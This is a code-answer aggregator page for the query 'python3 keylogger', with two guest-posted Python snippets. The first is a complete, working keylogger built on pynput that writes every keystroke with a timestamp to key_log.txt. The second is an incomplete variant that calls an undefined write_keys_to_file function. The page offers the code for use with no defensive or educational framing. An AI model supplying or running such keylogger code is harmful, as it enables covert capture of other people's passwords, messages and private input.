Answers for "python3 keylogger"

6

how to create a keylogger in python

import logging
import os
from pynput.keyboard import Listener

log_Directory = os.getcwd() + '/'  # where save file
print(os.getcwd()) # directory
# create file 
logging.basicConfig(filename=(log_Directory + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

# function in logging
def on_press(key):
    logging.info(key)
    # when press key save the key in file


with Listener(on_press=on_press) as listener:
    listener.join()  # infinite cicle
Posted by: Guest on December-29-2020
0

basic keylogger in python

#Import required modules
from pynput.keyboard import Key
#Create an empty list to store pressed keys
keys = []
#Create a function that defines what to do on each key press
def on_each_key_press(key):
    #Append each pressed key to a list
    keys.append(key)
    #Write list to file after each key pressed
    write_keys_to_file(keys)
Posted by: Guest on August-15-2021

Python Answers by Framework

Browse Popular Code Answers by Language